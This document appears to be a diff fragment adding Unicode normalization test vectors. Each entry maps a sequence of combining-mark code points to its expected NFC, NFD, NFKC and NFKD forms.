+{ source: [0x0061, 0x0361, 0x0345, 0x035D, 0x035C, 0x0062], NFC: [0x0061, 0x035C, 0x0361, 0x035D, 0x0345, 0x0062], NFD: [0x0061, 0x035C, 0x0361, 0x035D, 0x0345, 0x0062], NFKC: [0x0061, 0x035C, 0x0361, 0x035D, 0x0345, 0x0062], NFKD: [0x0061, 0x035C, 0x0361, 0x035D, 0x0345, 0x0062] },
+{ source: [0x0061, 0x035D, 0x035C, 0x0315, 0x0362, 0x0062], NFC: [0x0061, 0x0315, 0x035C, 0x0362, 0x035D, 0x0062], NFD: [0x0061, 0x0315, 0x035C, 0x0362, 0x035D, 0x0062], NFKC: [0x0061, 0x0315, 0x035C, 0x0362, 0x035D, 0x0062], NFKD: [0x0061, 0x0315, 0x035C, 0x0362, 0x035D, 0x0062] },
+{ source: [0x0061, 0x0362, 0x035D, 0x035C, 0x0315, 0x0062], NFC: [0x0061, 0x0315, 0x0362, 0x035C, 0x035D, 0x0062], NFD: [0x0061, 0x0315, 0x0362, 0x035C, 0x035D, 0x0062], NFKC: [0x0061, 0x0315, 0x0362, 0x035C, 0x035D, 0x0062], NFKD: [0x0061, 0x0315, 0x0362, 0x035C, 0x035D, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0363, 0x0062], NFC: [0x00E0, 0x05AE, 0x0363, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0363, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0363, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0363, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0363, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0363, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0363, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0363, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0363, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0364, 0x0062], NFC: [0x00E0, 0x05AE, 0x0364, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0364, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0364, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0364, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0364, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0364, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0364, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0364, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0364, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0365, 0x0062], NFC: [0x00E0, 0x05AE, 0x0365, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0365, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0365, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0365, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0365, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0365, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0365, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0365, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0365, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0366, 0x0062], NFC: [0x00E0, 0x05AE, 0x0366, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0366, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0366, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0366, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0366, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0366, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0366, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0366, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0366, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0367, 0x0062], NFC: [0x00E0, 0x05AE, 0x0367, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0367, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0367, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0367, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0367, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0367, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0367, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0367, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0367, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0368, 0x0062], NFC: [0x00E0, 0x05AE, 0x0368, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0368, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0368, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0368, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0368, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0368, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0368, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0368, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0368, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0369, 0x0062], NFC: [0x00E0, 0x05AE, 0x0369, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0369, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0369, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0369, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0369, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0369, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0369, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0369, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0369, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x036A, 0x0062], NFC: [0x00E0, 0x05AE, 0x036A, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x036A, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x036A, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x036A, 0x0315, 0x0062] },
+{ source: [0x0061, 0x036A, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x036A, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x036A, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x036A, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x036A, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x036B, 0x0062], NFC: [0x00E0, 0x05AE, 0x036B, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x036B, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x036B, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x036B, 0x0315, 0x0062] },
+{ source: [0x0061, 0x036B, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x036B, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x036B, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x036B, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x036B, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x036C, 0x0062], NFC: [0x00E0, 0x05AE, 0x036C, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x036C, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x036C, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x036C, 0x0315, 0x0062] },
+{ source: [0x0061, 0x036C, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x036C, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x036C, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x036C, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x036C, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x036D, 0x0062], NFC: [0x00E0, 0x05AE, 0x036D, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x036D, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x036D, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x036D, 0x0315, 0x0062] },
+{ source: [0x0061, 0x036D, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x036D, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x036D, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x036D, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x036D, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x036E, 0x0062], NFC: [0x00E0, 0x05AE, 0x036E, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x036E, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x036E, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x036E, 0x0315, 0x0062] },
+{ source: [0x0061, 0x036E, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x036E, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x036E, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x036E, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x036E, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x036F, 0x0062], NFC: [0x00E0, 0x05AE, 0x036F, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x036F, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x036F, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x036F, 0x0315, 0x0062] },
+{ source: [0x0061, 0x036F, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x036F, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x036F, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x036F, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x036F, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0483, 0x0062], NFC: [0x00E0, 0x05AE, 0x0483, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0483, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0483, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0483, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0483, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0483, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0483, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0483, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0483, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0484, 0x0062], NFC: [0x00E0, 0x05AE, 0x0484, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0484, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0484, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0484, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0484, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0484, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0484, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0484, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0484, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0485, 0x0062], NFC: [0x00E0, 0x05AE, 0x0485, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0485, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0485, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0485, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0485, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0485, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0485, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0485, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0485, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0486, 0x0062], NFC: [0x00E0, 0x05AE, 0x0486, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0486, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0486, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0486, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0486, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0486, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0486, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0486, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0486, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0487, 0x0062], NFC: [0x00E0, 0x05AE, 0x0487, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0487, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0487, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0487, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0487, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0487, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0487, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0487, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0487, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x0591, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x0591, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x0591, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x0591, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x0591, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0591, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x0591, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0591, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0591, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0591, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0592, 0x0062], NFC: [0x00E0, 0x05AE, 0x0592, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0592, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0592, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0592, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0592, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0592, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0592, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0592, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0592, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0593, 0x0062], NFC: [0x00E0, 0x05AE, 0x0593, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0593, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0593, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0593, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0593, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0593, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0593, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0593, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0593, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0594, 0x0062], NFC: [0x00E0, 0x05AE, 0x0594, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0594, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0594, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0594, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0594, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0594, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0594, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0594, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0594, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0595, 0x0062], NFC: [0x00E0, 0x05AE, 0x0595, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0595, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0595, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0595, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0595, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0595, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0595, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0595, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0595, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x0596, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x0596, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x0596, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x0596, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x0596, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0596, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x0596, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0596, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0596, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0596, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0597, 0x0062], NFC: [0x00E0, 0x05AE, 0x0597, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0597, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0597, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0597, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0597, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0597, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0597, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0597, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0597, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0598, 0x0062], NFC: [0x00E0, 0x05AE, 0x0598, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0598, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0598, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0598, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0598, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0598, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0598, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0598, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0598, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0599, 0x0062], NFC: [0x00E0, 0x05AE, 0x0599, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0599, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0599, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0599, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0599, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0599, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0599, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0599, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0599, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x302E, 0x059A, 0x0316, 0x059A, 0x0062], NFC: [0x0061, 0x0316, 0x059A, 0x059A, 0x302E, 0x0062], NFD: [0x0061, 0x0316, 0x059A, 0x059A, 0x302E, 0x0062], NFKC: [0x0061, 0x0316, 0x059A, 0x059A, 0x302E, 0x0062], NFKD: [0x0061, 0x0316, 0x059A, 0x059A, 0x302E, 0x0062] },
+{ source: [0x0061, 0x059A, 0x302E, 0x059A, 0x0316, 0x0062], NFC: [0x0061, 0x0316, 0x059A, 0x059A, 0x302E, 0x0062], NFD: [0x0061, 0x0316, 0x059A, 0x059A, 0x302E, 0x0062], NFKC: [0x0061, 0x0316, 0x059A, 0x059A, 0x302E, 0x0062], NFKD: [0x0061, 0x0316, 0x059A, 0x059A, 0x302E, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x059B, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x059B, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x059B, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x059B, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x059B, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059B, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x059B, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x059B, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x059B, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x059B, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x059C, 0x0062], NFC: [0x00E0, 0x05AE, 0x059C, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x059C, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x059C, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x059C, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059C, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x059C, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x059C, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x059C, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x059C, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x059D, 0x0062], NFC: [0x00E0, 0x05AE, 0x059D, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x059D, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x059D, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x059D, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059D, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x059D, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x059D, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x059D, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x059D, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x059E, 0x0062], NFC: [0x00E0, 0x05AE, 0x059E, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x059E, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x059E, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x059E, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059E, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x059E, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x059E, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x059E, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x059E, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x059F, 0x0062], NFC: [0x00E0, 0x05AE, 0x059F, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x059F, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x059F, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x059F, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059F, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x059F, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x059F, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x059F, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x059F, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x05A0, 0x0062], NFC: [0x00E0, 0x05AE, 0x05A0, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x05A0, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x05A0, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x05A0, 0x0315, 0x0062] },
+{ source: [0x0061, 0x05A0, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x05A0, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x05A0, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x05A0, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x05A0, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x05A1, 0x0062], NFC: [0x00E0, 0x05AE, 0x05A1, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x05A1, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x05A1, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x05A1, 0x0315, 0x0062] },
